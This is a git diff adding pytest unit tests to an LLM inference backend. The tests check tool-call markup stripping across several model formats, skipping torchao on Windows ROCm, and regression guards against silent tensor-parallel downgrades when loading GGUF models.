+    text = '[TOOL_CALLS]web_search{"q":"x"}[/TOOL_CALLS] tail'
+    assert _strip_tool_call_markup(text, final = True) == "tail"
+
+
+def test_core_strip_removes_call_with_literal_think_in_argument():
+    # An unclosed literal <think> inside call arguments strips with the call (argument data).
+    text = 'before <tool_call>{"name":"write","arguments":{"text":"literal <think> marker"}}</tool_call> after'
+    assert _strip_tool_call_markup(text, final = True) == "before  after"
+
+
+def test_route_display_strip_removes_orphan_tool_calls_closer_array_form():
+    text = '[TOOL_CALLS] [{"name":"x","arguments":{}}][/TOOL_CALLS]'
+    out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert out.strip() == ""
+
+
+def test_route_display_strip_removes_orphan_tool_calls_closer_named_form_keeps_tail():
+    text = '[TOOL_CALLS]web_search{"q":"x"}[/TOOL_CALLS] tail'
+    out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert "[/TOOL_CALLS]" not in out
+    assert out.strip() == "tail"
+
+
+def test_incomplete_xml_call_with_literal_think_in_arg_is_stripped():
+    # An incomplete <tool_call> holding a literal <think> strips to EOS, not as a reasoning
+    # block (the unclosed tail _tool_call_markup_spans previously missed).
+    from core.tool_healing import parse_tool_calls_from_text as _parse
+    from core.tool_healing import strip_tool_call_markup as _strip
+
+    text = 'before <tool_call>{"name":"write","arguments":{"text":"literal <think> marker"}} after'
+    assert [c["function"]["name"] for c in _parse(text)] == ["write"]
+    assert _strip(text, final = True) == "before"
+
+    # A real reasoning block with no tool call is still preserved verbatim.
+    assert (
+        _strip("answer <think>real</think> done", final = True) == "answer <think>real</think> done"
+    )
+
+    # A complete call followed by a real reasoning block: call stripped, block kept.
+    mixed = '<tool_call>{"name":"a","arguments":{}}</tool_call> mid <think>r</think> end'
+    assert _strip(mixed, final = True) == "mid <think>r</think> end"
+
+
+# ── enabled-tool gate for the ambiguous bare-rehearsal strip (#5704) ──
+
+
+def test_display_tool_name_gate_returns_active_names_or_none():
+    # Empty / no tools -> None (unrestricted; keep the legacy strip-all behavior).
+    assert _display_tool_name_gate([]) is None
+    assert _display_tool_name_gate(None) is None
+    # OpenAI-shaped tool dicts -> set of function names, malformed entries dropped.
+    tools = [
+        {"type": "function", "function": {"name": "web_search"}},
+        {"type": "function", "function": {"name": "run_python"}},
+        {"type": "function"},  # no name
+        {"nope": 1},  # no function
+    ]
+    assert _display_tool_name_gate(tools) == {"web_search", "run_python"}
+
+
+def test_route_display_strip_keeps_inactive_rehearsal_when_gated():
+    # P1 #5704: an inactive ``foo[ARGS]{...}`` is prose; the gated strip leaves the sentence intact.
+    gate = {"web_search"}
+    text = 'foo[ARGS]{"x":1} is just syntax.'
+    assert (
+        _strip_tool_xml_for_display(text, auto_heal_tool_calls = True, enabled_tool_names = gate)
+        == text
+    )
+    # A bare marker with no JSON body is likewise prose when inactive.
+    assert (
+        _strip_tool_xml_for_display(
+            "use foo[ARGS] here", auto_heal_tool_calls = True, enabled_tool_names = gate
+        )
+        == "use foo[ARGS] here"
+    )
+
+
+def test_route_display_strip_removes_active_rehearsal_when_gated():
+    # Mirror case: an active tool name is a real rehearsal and still strips.
+    gate = {"web_search"}
+    out = _strip_tool_xml_for_display(
+        'web_search[ARGS]{"query":"x"} done', auto_heal_tool_calls = True, enabled_tool_names = gate
+    )
+    assert "web_search[ARGS]" not in out
+    assert out.strip() == "done"
+
+
+def test_route_display_strip_ungated_strips_all_rehearsal_unchanged():
+    # Backwards-compat: with no gate (None) the bare rehearsal strips as before.
+    text = 'foo[ARGS]{"x":1} is just syntax.'
+    assert _strip_tool_xml_for_display(text, auto_heal_tool_calls = True).strip() == "is just syntax."
+    assert (
+        _strip_tool_xml_for_display(
+            text, auto_heal_tool_calls = True, enabled_tool_names = None
+        ).strip()
+        == "is just syntax."
+    )
+
+
+def test_route_display_strip_control_token_stripped_regardless_of_gate():
+    # [TOOL_CALLS] is a control token: stripped even when its NAME is not in the gate.
+    gate = {"web_search"}
+    out = _strip_tool_xml_for_display(
+        '[TOOL_CALLS]foo[ARGS]{"x":1} keep', auto_heal_tool_calls = True, enabled_tool_names = gate
+    )
+    assert "[TOOL_CALLS]" not in out and "foo[ARGS]" not in out
+    assert out.strip() == "keep"
+
+
+def test_core_strip_gates_bare_rehearsal_on_enabled_tools():
+    # P1 (#5704): the shared strip gate mirrors the parse gate -- inactive names are prose
+    # and preserved, active names strip, ``None`` keeps legacy strip-all.
+    from core.tool_healing import strip_tool_call_markup as _strip
+
+    text = 'foo[ARGS]{"x":1} is just syntax.'
+    assert _strip(text, final = True, enabled_tool_names = {"web_search"}) == text
+    assert (
+        _strip('web_search[ARGS]{"q":1} done', final = True, enabled_tool_names = {"web_search"})
+        == "done"
+    )
+    assert _strip(text, final = True).strip() == "is just syntax."
+    assert _strip(text, final = True, enabled_tool_names = None).strip() == "is just syntax."
+
+
+def test_route_display_strip_gate_preserves_inactive_history_rehearsal():
+    # The GGUF history sanitiser passes the gate, so a documented inactive shape survives in
+    # the replayed prompt context.
+    gate = _display_tool_name_gate([{"function": {"name": "web_search"}}])
+    text = 'To call it write foo[ARGS]{"x":1} in your reply.'
+    assert 'foo[ARGS]{"x":1}' in _strip_tool_xml_for_display(
+        text, auto_heal_tool_calls = True, enabled_tool_names = gate
+    )
+    # An ACTIVE name is still stripped as a real rehearsed call.
+    assert "web_search[ARGS]" not in _strip_tool_xml_for_display(
+        'Result web_search[ARGS]{"q":"x"} done', auto_heal_tool_calls = True, enabled_tool_names = gate
+    )
+    # No gate (legacy) strips every NAME[ARGS]{...}.
+    assert "foo[ARGS]" not in _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+
+
+def test_gguf_history_sanitizer_forwards_enabled_tool_names_gate():
+    # Wiring guard: the GGUF history strip must forward the display gate like the live strip.
+    block = _re.search(
+        r"Strip stale tool-call XML from conversation history.*?\.strip\(\)",
+        _src,
+        _re.DOTALL,
+    )
+    assert block, "could not locate GGUF history sanitizer block"
+    assert "enabled_tool_names" in block.group(
+        0
+    ), "GGUF history sanitizer must pass enabled_tool_names to _strip_tool_xml_for_display"
+
+
+def test_route_history_and_passthrough_forward_the_display_gate():
+    # The safetensors/Anthropic history sanitisers and the Anthropic non-stream passthrough
+    # must forward the gate so inactive examples survive in replayed prompt / final text.
+    blocks = {
+        "safetensors history": r"Strip stale tool-call XML from prior assistant turns.*?\.strip\(\)",
+        "anthropic history": r"Strip stale tool-call XML via the protected display helper.*?\.strip\(\)",
+        "anthropic passthrough": r"gated on the declared tools so an\n.*?\.strip\(\)",
+    }
+    for label, pat in blocks.items():
+        m = _re.search(pat, _src, _re.DOTALL)
+        assert m, f"could not locate {label} strip block"
+        assert "enabled_tool_names" in m.group(
+            0
+        ), f"{label} must forward enabled_tool_names to _strip_tool_xml_for_display"
+
+
+# ── DeepSeek opener variants + bare Kimi (parse/strip symmetry) ──
+
+
+def test_strips_deepseek_space_opener_variant():
+    # The space-separated opener is parsed by the parser, so the display strip
+    # must remove it too (the shared opener alternation is reused here).
+    text = (
+        "pre <｜tool calls begin｜><｜tool▁call▁begin｜>get_x<｜tool▁sep｜>"
+        '{"a":1}<｜tool▁call▁end｜><｜tool▁calls▁end｜> post'
+    )
+    cleaned = _TOOL_XML_RE.sub("", text)
+    assert "tool" not in cleaned.replace("post", "").replace("pre", "")
+    assert cleaned == "pre  post"
+
+
+def test_strips_deepseek_escaped_underscore_opener_variant():
+    text = (
+        "pre <｜tool\\_calls\\_begin｜><｜tool▁call▁begin｜>get_y<｜tool▁sep｜>"
+        '{"a":1}<｜tool▁call▁end｜><｜tool▁calls▁end｜> post'
+    )
+    cleaned = _TOOL_XML_RE.sub("", text)
+    assert cleaned == "pre  post"
+
+
+def test_strips_bare_kimi_call_without_section_wrapper():
+    # Kimi can emit a bare <|tool_call_begin|>...<|tool_call_end|> with no
+    # section wrapper; the parser accepts it, so the strip must cover it.
+    text = (
+        "pre <|tool_call_begin|>functions.get_w:0<|tool_call_argument_begin|>"
+        '{"a":1}<|tool_call_end|> post'
+    )
+    cleaned = _TOOL_XML_RE.sub("", text)
+    assert "tool_call_begin" not in cleaned
+    assert cleaned == "pre  post"
+
+
+@pytest.mark.parametrize(
+    "text",
+    [
+        # Prose that merely names a Kimi/DeepSeek marker (no real call follows) must
+        # survive: the call-shaped lookahead fires only on a real call or a bare EOF
+        # fragment, so an answer discussing the protocol is never truncated.
+        "See <|tool_call_begin|> in the docs. More prose after it.",
+        "The <|tool_calls_section_begin|> marker opens a batch. Read on.",
+        "DeepSeek uses <｜tool▁calls▁begin｜> to start a call block, then continues.",
+    ],
+)
+def test_deepseek_kimi_false_alarm_prose_is_kept(text):
+    # Regression for the route arm truncating a prose answer that references a marker
+    # without a following call (parser _TOOL_ALL_PATS already had this lookahead).
+    assert _TOOL_XML_RE.sub("", text) == text
+
+
+def test_deepseek_kimi_real_calls_still_strip_after_false_alarm_fix():
+    # The lookahead must not weaken real-call stripping: closed, truncated, and bare
+    # EOF-fragment forms all still get removed.
+    closed = (
+        "answer <|tool_call_begin|>functions.get_w:0<|tool_call_argument_begin|>"
+        '{"a":1}<|tool_call_end|> tail'
+    )
+    assert _TOOL_XML_RE.sub("", closed) == "answer  tail"
+    eof_fragment = "prefix <|tool_call_begin|>"
+    assert _TOOL_XML_RE.sub("", eof_fragment) == "prefix "
+    deepseek = (
+        "reply <｜tool▁calls▁begin｜><｜tool▁call▁begin｜>get_x<｜tool▁sep｜>"
+        '{"a":1}<｜tool▁call▁end｜><｜tool▁calls▁end｜>'
+    )
+    assert _TOOL_XML_RE.sub("", deepseek) == "reply "
+
+
+# ── Llama-3 <|python_tag|> arm bounds on REAL sentinels only ──────
+
+
+# Llama-3 <|python_tag|> arm bounds on REAL sentinels only
+def test_python_tag_strip_consumes_literal_sentinel_in_arg():
+    # A <|python_tag|> tool call whose JSON argument carries a literal <|...|>
+    # token (here <|cite|>) must be stripped whole. The old `<(?!\|)` arm stopped
+    # at any `<|`, leaking the call tail (e.g. `<|cite|> here"}}`) into display.
+    text = '<|python_tag|>{"name": "send", "parameters": {"text": "use <|cite|> here"}}'
+    cleaned = _TOOL_XML_RE.sub("", text)
+    assert cleaned == "", f"python_tag call leaked at literal sentinel: {cleaned!r}"
+
+
+@pytest.mark.parametrize(
+    "sentinel",
+    [
+        "<|eot_id|>",
+        "<|eom_id|>",
+        "<|start_header_id|>",
+        "<|end_header_id|>",
+    ],
+)
+def test_python_tag_strip_stops_at_real_sentinel(sentinel):
+    # A genuine Llama control sentinel still bounds the strip so following
+    # assistant text is preserved (the arm must not swallow past it).
+    text = f'<|python_tag|>{{"name": "x", "parameters": {{}}}}{sentinel}visible answer'
+    cleaned = _TOOL_XML_RE.sub("", text)
+    assert (
+        cleaned == f"{sentinel}visible answer"
+    ), f"strip did not stop at real sentinel {sentinel!r}: {cleaned!r}"
+
+
+def test_python_tag_strip_restarts_on_second_python_tag():
+    # A second <|python_tag|> opens a new tool-call region, so the whole pair is
+    # stripped (the arm bounds the first, then the next match consumes the rest).
+    text = '<|python_tag|>{"name": "a"}<|python_tag|>{"name": "b"}'
+    cleaned = _TOOL_XML_RE.sub("", text)
+    assert cleaned == "", f"second python_tag region leaked: {cleaned!r}"
+
+
+def test_glm_call_with_literal_close_tag_in_arg_value_is_stripped_whole():
+    # GLM 4.x emits <tool_call>NAME<arg_key>k</arg_key><arg_value>v</arg_value> ...</tool_call>.
+    text = (
+        "<tool_call>web_search\n<arg_key>query</arg_key>\n"
+        "<arg_value>find </tool_call> here</arg_value>\n</tool_call> done"
+    )
+    out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True)
+    assert "</arg_value>" not in out
+    assert "<arg_key>" not in out
+    assert out.strip() == "done"
+
+
+def test_glm_normal_and_qwen_calls_still_stripped_by_route():
+    # Regression: a normal GLM call (no literal close tag) and a Qwen
+    # <tool_call>{json}</tool_call> are still stripped; trailing prose is kept.
+    glm = "<tool_call>get_time\n<arg_key>tz</arg_key>\n<arg_value>UTC</arg_value>\n</tool_call> ok"
+    assert _strip_tool_xml_for_display(glm, auto_heal_tool_calls = True).strip() == "ok"
+    qwen = '<tool_call>{"name":"web_search","arguments":{"q":"x"}}</tool_call> after'
+    assert _strip_tool_xml_for_display(qwen, auto_heal_tool_calls = True).strip() == "after"
+
+
+def test_route_strip_removes_param_alias_close_tag():
+    # The parser accepts the <param name="...">...</param> attribute-form alias of
+    # <parameter=...>; the route tail cleanup must strip an orphan </param> close too.
+    assert _strip_tool_xml_for_display("answer </param>", auto_heal_tool_calls = True) == "answer "
+    assert (
+        _strip_tool_xml_for_display("answer </parameter>", auto_heal_tool_calls = True) == "answer "
+    )
+
+
+def test_route_strip_uses_guarded_function_scan_for_literal_nested_markup():
+    # A literal <function=...></function> in a value must not truncate the strip: the route runs the
+    # parser's guarded function-XML scan before the regex, matching the core strip.
+    text = "<function=python><parameter=code><function=evil></function></parameter></function> tail"
+    assert _strip_tool_xml_for_display(text, auto_heal_tool_calls = True).strip() == "tail"
+
+
+def test_route_strip_gates_wrapperless_gemma_by_enabled_tools():
+    # The route strip must gate the markerless Gemma call:NAME{...} form on the enabled tool names,
+    # like the parser/loop, so a disabled/example name in prose is preserved in ...
+    prose = "To document syntax you write call:foo{query:example}. That shows the format."
+    assert "call:foo{query:example}" in _strip_tool_xml(prose, {"web_search"})
+    # An enabled name is still a real call and stripped.
+    assert "call:web_search" not in _strip_tool_xml(
+        "Answer. call:web_search{query:x}", {"web_search"}
+    )
+    # No gate (legacy) strips every closed call.
+    assert "call:foo" not in _strip_tool_xml(prose)
+
+
+def test_gemma_strip_gate_empty_tools_preserves_prose():
+    # With NO tools enabled the gate must return an EMPTY set (strip nothing), not None: None falls
+    # back to strip-all and deletes an answer that documents the call:NAME{...} syntax.
+    assert _gemma_strip_gate([]) == set()
+    assert _gemma_strip_gate(None) == set()
+    assert _gemma_strip_gate([{"function": {"name": "web_search"}}]) == {"web_search"}
+    prose = "To document syntax you write call:foo{query:example}. That shows the format."
+    assert "call:foo{query:example}" in _strip_tool_xml(prose, _gemma_strip_gate([]))
+    assert "call:foo{query:example}" in _strip_tool_xml(prose, _gemma_strip_gate(None))
+    # An enabled tool's real call is still stripped.
+    assert "call:web_search" not in _strip_tool_xml(
+        "Answer. call:web_search{query:x}",
+        _gemma_strip_gate([{"function": {"name": "web_search"}}]),
+    )
+
+
+def test_strip_keeps_prose_after_closed_function_call_with_literal_close():
+    # The call ends at its first non-data close: prose after it survives the
+    # strip even when it mentions a literal </function>.
+    from core.inference.tool_call_parser import strip_tool_markup
+    text = (
+        "<function=web_search><parameter=query>cats</parameter></function>"
+        " Done. The tag </function> closes a call."
+    )
+    assert strip_tool_markup(text, final = True) == "Done. The tag </function> closes a call."
+
+
+def test_final_strip_keeps_prose_mentioning_bare_markers():
+    # A false-alarm marker in a normal answer must not lose everything after
+    # it; only text that looks like that family's call start drops.
+    from core.inference.tool_call_parser import strip_tool_markup
+    for text in (
+        "See [TOOL_CALLS] docs for details. More prose after.",
+        "<|python_tag|> is the Llama marker. Explanation continues.",
+        "The <|tool_call> opener wraps Gemma calls.",
+    ):
+        assert strip_tool_markup(text, final = True) == text
+    # A bare marker at end-of-text is a fragment and still drops.
+    assert strip_tool_markup("Answer text [TOOL_CALLS]", final = True) == "Answer text"
+
+
+def test_final_strip_still_drops_truncated_marker_calls():
+    from core.inference.tool_call_parser import strip_tool_markup
+    for text in (
+        '[TOOL_CALLS][{"name":"web_search","argu',
+        '[TOOL_CALLS]web_search[ARGS]{"q":"x',
+        '<|python_tag|>{"name":"web_search","par',
+        '<|python_tag|>foo.call(items=["a',
+        "<|tool_call>call:web_search{query:tru",
+    ):
+        assert strip_tool_markup(text, final = True) == ""
+
+
+def test_chained_bare_json_strip_consumes_all_calls():
+    # The loops keep this text as next-turn history: a leftover executed call
+    # would be replayed alongside the structured tool_calls.
+    from core.inference.tool_call_parser import strip_leading_bare_json_call
+
+    enabled = {"web_search", "python"}
+    chained = (
+        '{"name":"web_search","parameters":{"q":"first"}};'
+        '{"name":"python","parameters":{"code":"x"}}'
+    )
+    assert strip_leading_bare_json_call(chained, enabled_tool_names = enabled) == ""
+    assert (
+        strip_leading_bare_json_call(chained + " trailing prose", enabled_tool_names = enabled)
+        == "trailing prose"
+    )
+    # The chain stops at a non-call answer object, which stays visible.
+    call_then_answer = (
+        '{"name":"web_search","parameters":{"q":"x"}};{"name":"web_search","result":"data"}'
+    )
+    assert (
+        strip_leading_bare_json_call(call_then_answer, enabled_tool_names = enabled)
+        == '{"name":"web_search","result":"data"}'
+    )
diff --git a/studio/backend/tests/test_torchao_select.py b/studio/backend/tests/test_torchao_select.py
index 393a74daaf..2d3dc5fbff 100644
--- a/studio/backend/tests/test_torchao_select.py
+++ b/studio/backend/tests/test_torchao_select.py
@@ -12,6 +12,7 @@ from __future__ import annotations
 
 import sys
 from pathlib import Path
+from unittest.mock import MagicMock
 
 import pytest
 
@@ -69,3 +70,60 @@ def test_default_spec_matches_table(monkeypatch):
     mod = _load_module(monkeypatch)
     assert mod._TORCHAO_DEFAULT_SPEC == "torchao==0.14.0"
     assert mod._select_torchao_spec("2.9.0") == mod._TORCHAO_DEFAULT_SPEC
+
+
+@pytest.mark.parametrize(
+    ("rocm_windows_torch_installed", "installed_torch_is_windows_rocm"),
+    [
+        (True, False),
+        (False, True),
+    ],
+)
+def test_skips_torchao_on_windows_rocm(
+    monkeypatch, tmp_path, rocm_windows_torch_installed, installed_torch_is_windows_rocm
+):
+    """The overrides step must skip torchao on Windows ROCm: no working build exists
+    there (it imports an absent c10d backend and crashes transformers.quantizers),
+    so the installer skips it and relies on the runtime stub instead."""
+    mod = _load_module(monkeypatch)
+    installed_specs: list[str] = []
+    progress_labels: list[str] = []
+
+    def _record_pip_install(*args, **kwargs):
+        installed_specs.extend(str(arg) for arg in args)
+        return 0
+
+    unstructured_plugin = tmp_path / "unstructured"
+    github_plugin = tmp_path / "github"
+    unstructured_plugin.mkdir()
+    github_plugin.mkdir()
+
+    subprocess_result = MagicMock()
+    subprocess_result.returncode = 0
+    subprocess_result.stdout = ""
+
+    monkeypatch.setenv("SKIP_STUDIO_BASE", "1")
+    monkeypatch.setattr(mod, "IS_WINDOWS", True)
+    monkeypatch.setattr(mod, "IS_MACOS", False)
+    monkeypatch.setattr(mod, "IS_MAC_ARM", False)
+    monkeypatch.setattr(mod, "NO_TORCH", False)
+    monkeypatch.setattr(mod, "_rocm_windows_torch_installed", rocm_windows_torch_installed)
+    monkeypatch.setattr(
+        mod, "_installed_torch_is_windows_rocm", lambda: installed_torch_is_windows_rocm
+    )
+    monkeypatch.setattr(mod, "_bootstrap_uv", lambda: False)
+    monkeypatch.setattr(mod, "_repair_bad_anyio", lambda: None)
+    monkeypatch.setattr(mod, "_ensure_rocm_torch", lambda: None)
+    monkeypatch.setattr(mod, "_ensure_cuda_torch", lambda: None)
+    monkeypatch.setattr(mod, "_has_usable_nvidia_gpu", lambda: True)
+    monkeypatch.setattr(mod, "run", lambda *args, **kwargs: None)
+    monkeypatch.setattr(mod, "pip_install", _record_pip_install)
+    monkeypatch.setattr(mod, "_progress", lambda label: progress_labels.append(label))
+    monkeypatch.setattr(mod, "LOCAL_DD_UNSTRUCTURED_PLUGIN", unstructured_plugin)
+    monkeypatch.setattr(mod, "LOCAL_DD_GITHUB_PLUGIN", github_plugin)
+    monkeypatch.setattr(mod.subprocess, "run", lambda *args, **kwargs: subprocess_result)
+
+    assert mod.install_python_stack() == 0
+
+    assert not any(spec.startswith("torchao") for spec in installed_specs)
+    assert "dependency overrides (skipped, Windows ROCm)" in progress_labels
diff --git a/studio/backend/tests/test_tp_vision_regression.py b/studio/backend/tests/test_tp_vision_regression.py
new file mode 100644
index 0000000000..09af876da6
--- /dev/null
+++ b/studio/backend/tests/test_tp_vision_regression.py
@@ -0,0 +1,805 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Regression guards for silent tensor-parallel downgrades in load_model.
+
+PR #6416 blanket-disabled tensor parallelism for vision models to dodge a
+--split-mode tensor + --mmproj GGML_ASSERT (#6415), which silently single-GPU'd
+any mmproj/MTP GGUF that fit on one card. The fix makes the skip self-healing:
+tensor is tried by default and recorded per (binary, model) only on a real abort.
+
+load_model is too entangled to drive end-to-end, so these tests inspect the
+source / drive the pure helpers. The headline test pins the set of TP-drop
+conditions, so a new silent drop fails CI. No GPU; fully deterministic.
+"""
+
+from __future__ import annotations
+
+import ast
+import importlib.util
+import inspect
+import os
+import sys
+import textwrap
+import types as _types
+from pathlib import Path
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+# External-dep stubs so importing the backend doesn't require structlog / httpx /
+# loggers -- but only when the real module is missing, so a lightweight stub never
+# shadows the real package (or `loggers.handlers` submodule) for tests collected
+# later in the same pytest process.
+try:
+    import structlog  # noqa: F401
+except ImportError:
+    _structlog_stub = _types.ModuleType("structlog")
+    _structlog_stub.get_logger = lambda *a, **k: __import__("logging").getLogger("stub")
+    sys.modules["structlog"] = _structlog_stub
+try:
+    import loggers  # noqa: F401
+except ImportError:
+    _loggers_stub = _types.ModuleType("loggers")
+    _loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name)
+    sys.modules["loggers"] = _loggers_stub
+try:
+    import httpx as _httpx_real  # noqa: F401
+except ImportError:
+    _httpx_stub = _types.ModuleType("httpx")
+    for _exc in (
+        "ConnectError",
+        "TimeoutException",
+        "ReadTimeout",
+        "ReadError",
+        "RemoteProtocolError",
+        "CloseError",
+        "HTTPError",
+        "RequestError",
+    ):
+        setattr(_httpx_stub, _exc, type(_exc, (Exception,), {}))
+    _httpx_stub.Timeout = type("T", (), {"__init__": lambda s, *a, **k: None})
+    _httpx_stub.Response = type("Response", (), {})
+    _httpx_stub.Client = type(
+        "C",
+        (),
+        {
+            "__init__": lambda s, **kw: None,
+            "__enter__": lambda s: s,
+            "__exit__": lambda s, *a: None,
+        },
+    )
+    sys.modules["httpx"] = _httpx_stub
+
+from core.inference.llama_cpp import LlamaCppBackend  # noqa: E402
+
+_GB = 1024**3
+
+
+def _load_inference_routes_module():
+    """Load routes/inference.py directly, bypassing routes/__init__.py (which imports
+    every router, dragging in unrelated deps like python-multipart) (Codex #6659)."""
+    route_path = Path(_BACKEND_DIR) / "routes" / "inference.py"
+    spec = importlib.util.spec_from_file_location(
+        "tp_vision_regression_inference_routes", route_path
+    )
+    assert spec is not None and spec.loader is not None
+    module = importlib.util.module_from_spec(spec)
+    sys.modules[spec.name] = module
+    spec.loader.exec_module(module)
+    return module
+
+
+def _load_model_ast() -> ast.FunctionDef:
+    """Parse load_model into an AST FunctionDef (no import side effects)."""
+    src = textwrap.dedent(inspect.getsource(LlamaCppBackend.load_model))
+    return ast.parse(src).body[0]
+
+
+def _tensor_parallel_false_drop_guards() -> list[str]:
+    """Source of the guard expression for every `if ...: tensor_parallel = False`
+    (the LOCAL variable, not self._tensor_parallel) inside load_model."""
+    fn = _load_model_ast()
+
+    def _body_drops_tp(body) -> bool:
+        for n in body:
+            if (
+                isinstance(n, ast.Assign)
+                and any(isinstance(t, ast.Name) and t.id == "tensor_parallel" for t in n.targets)
+                and isinstance(n.value, ast.Constant)
+                and n.value.value is False
+            ):
+                return True
+        return False
+
+    return [
+        ast.unparse(node.test)
+        for node in ast.walk(fn)
+        if isinstance(node, ast.If) and _body_drops_tp(node.body)
+    ]
+
+
+# Every condition that may flip a requested tensor_parallel back to False. Adding
+# one must be conscious: update this allowlist and keep multi-GPU where possible.
+_ALLOWED_TP_DROP_GUARDS = {
+    # Capability: --split-mode tensor aborted for this (binary, model) (#6415).
+    # Self-healing -- tried by default, skipped only after a real abort (vs #6416).
+    "tensor_parallel and self._tensor_split_aborts(binary, model_identifier)",
+    # Capacity: tensor needs >= 2 GPUs clearing the compute-buffer reserve.
+    "tensor_parallel and len(tp_gpus) < 2",
+    # Capacity: pooled usable VRAM can't hold weights + MTP reserve -> layer split.
+    "_tp_weight_budget_mib <= _tp_required_mib",
+}
+
+
+def test_tensor_parallel_drop_sites_match_allowlist():
+    """The set of reasons a requested TP can be dropped is fixed and reviewed: a new
+    drop site fails this set-equality until consciously allowlisted (would catch #6416)."""
+    found = set(_tensor_parallel_false_drop_guards())
+    assert found == _ALLOWED_TP_DROP_GUARDS, (
+        "tensor_parallel drop sites changed.\n"
+        f"  unexpected (new) : {sorted(found - _ALLOWED_TP_DROP_GUARDS)}\n"
+        f"  missing (removed): {sorted(_ALLOWED_TP_DROP_GUARDS - found)}\n"
+        "A new drop means a user's TP request is ignored for a new reason -- "
+        "review it, keep multi-GPU where possible, surface it, then update "
+        "_ALLOWED_TP_DROP_GUARDS."
+    )
+
+
+def test_every_tp_drop_is_logged_not_silent():
+    """Each tensor_parallel downgrade must log why, so it never disappears silently."""
+    fn = _load_model_ast()
+
+    def _body_drops_tp(body):
+        return any(
+            isinstance(n, ast.Assign)
+            and any(isinstance(t, ast.Name) and t.id == "tensor_parallel" for t in n.targets)
+            and isinstance(n.value, ast.Constant)
+            and n.value.value is False
+            for n in body
+        )
+
+    def _body_logs(body) -> bool:
+        for n in ast.walk(ast.Module(body = list(body), type_ignores = [])):
+            if (
+                isinstance(n, ast.Call)
+                and isinstance(n.func, ast.Attribute)
+                and isinstance(n.func.value, ast.Name)
+                and n.func.value.id == "logger"
+            ):
+                return True
+        return False
+
+    for node in ast.walk(fn):
+        if isinstance(node, ast.If) and _body_drops_tp(node.body):
+            assert _body_logs(node.body), (
+                f"TP drop under `{ast.unparse(node.test)}` has no logger call -- "
+                "downgrades must explain themselves."
+            )
+
+
+def test_tensor_split_gate_is_self_healing_not_blanket():
+    """Skip is conditional on a recorded (binary, model) abort, not a blanket
+    is_vision disable (the #6416 regression)."""
+    src = inspect.getsource(LlamaCppBackend.load_model)
+    assert "self._tensor_split_aborts(binary, model_identifier)" in src
+    assert "if tensor_parallel and is_vision:" not in src
+    assert "if tensor_parallel and effective_is_vision:" not in src
+
+
+def test_tensor_split_skip_documents_layer_split_fallback():
+    """When the skip fires (known-bad binary+model), it states the fallback."""
+    src = inspect.getsource(LlamaCppBackend.load_model)
+    gate = src.find("self._tensor_split_aborts(binary, model_identifier)")
+    assert gate != -1
+    block = src[gate : gate + 600]
+    assert "layer split" in block, "the skip should state it falls back to layer split"
+
+
+def test_tensor_split_abort_recorded_early_on_first_spawn():
+    """Recorded on the first spawn showing the marker, before the flash-attn-off
+    retry (which can't run tensor so drops the marker) -- else it loops (oobabooga, #6659)."""
+    src = inspect.getsource(LlamaCppBackend.load_model)
+    idx = src.find("_record_tensor_split_abort(binary, model_identifier)")
+    assert idx != -1, "load_model must record a (binary, model) tensor-split abort"
+    guard = src[max(0, idx - 600) : idx]
+    assert "self._tensor_parallel" in guard
+    assert (
+        "_should_record_tensor_split_abort" in guard
+    ), "record must be gated on the marker-plus-hard-crash decision helper"
+    # Recorded before the flash-attn-off retry, not after the full ladder.
+    fa_off = src.find("_with_flash_attn_off")
+    assert 0 <= idx < fa_off, "recording must latch on the first spawn, before flash-off"
+
+
+def test_vision_downgrade_preserves_multi_gpu_intent():
+    """The vision downgrade raises _layer_min_gpus and threads it into both the
+    _select_gpus and auto-context layer paths, so a fitting model still spreads."""
+    src = inspect.getsource(LlamaCppBackend.load_model)
+    assert "_layer_min_gpus = max(_layer_min_gpus, len(gpus))" in src
+    assert src.count("min_gpus = _layer_min_gpus") >= 2
+    assert "range(_auto_min_gpus, len(ranked) + 1)" in src
+    auto = src.find("_auto_min_gpus = max(")
+    assert auto != -1 and "_layer_min_gpus" in src[auto : auto + 200]
+
+
+# ── per-binary capability cache (pure) ───────────────────────────────
+
+
+def test_tensor_attempted_by_default_for_unknown_binary():
+    """A (binary, model) not seen to abort -> tensor is attempted (not skipped)."""
+    assert LlamaCppBackend._tensor_split_aborts("/never/seen/llama-server", "m") is False
+    assert LlamaCppBackend._tensor_split_aborts(None, "m") is False
+    assert LlamaCppBackend._tensor_split_aborts("/x", None) is False
+
+
+def test_recorded_tensor_abort_is_per_model():
+    """A recorded (binary, model) abort trips the gate for that model only -- a
+    different model on the same binary still attempts tensor (oobabooga, #6659)."""
+    b = f"/tmp/llama-server-{id(object())}"
+    try:
+        assert LlamaCppBackend._tensor_split_aborts(b, "model-a") is False
+        LlamaCppBackend._record_tensor_split_abort(b, "model-a")
+        assert LlamaCppBackend._tensor_split_aborts(b, "model-a") is True
+        # a different model on the same binary is unaffected
+        assert LlamaCppBackend._tensor_split_aborts(b, "model-b") is False
+    finally:
+        LlamaCppBackend._tensor_split_abort_keys.discard(
+            LlamaCppBackend._tensor_split_cache_key(b, "model-a")
+        )
+
+
+# ── _select_gpus: single-GPU collapse vs honored multi-GPU intent (pure) ──
+
+
+def test_select_gpus_collapses_to_single_gpu_when_model_fits():
+    """Default (min_gpus=1): a 39 GB model on four 183 GB GPUs pins ONE GPU -- the
+    'single GPU' symptom once TP drops, and why the downgrade needs min_gpus."""
+    gpus = [(0, 180000), (1, 180000), (2, 180000), (3, 180000)]  # (idx, free MiB)
+    gpu_indices, _use_fit = LlamaCppBackend._select_gpus(int(39 * _GB), gpus)
+    assert gpu_indices is not None and len(gpu_indices) == 1
+
+
+def test_select_gpus_min_gpus_keeps_multi_gpu_for_fitting_model():
+    """min_gpus>=2 must NOT collapse to one GPU for a model that fits on one."""
+    gpus = [(0, 180000), (1, 180000), (2, 180000), (3, 180000)]
+    gpu_indices, _ = LlamaCppBackend._select_gpus(int(39 * _GB), gpus, min_gpus = 2)
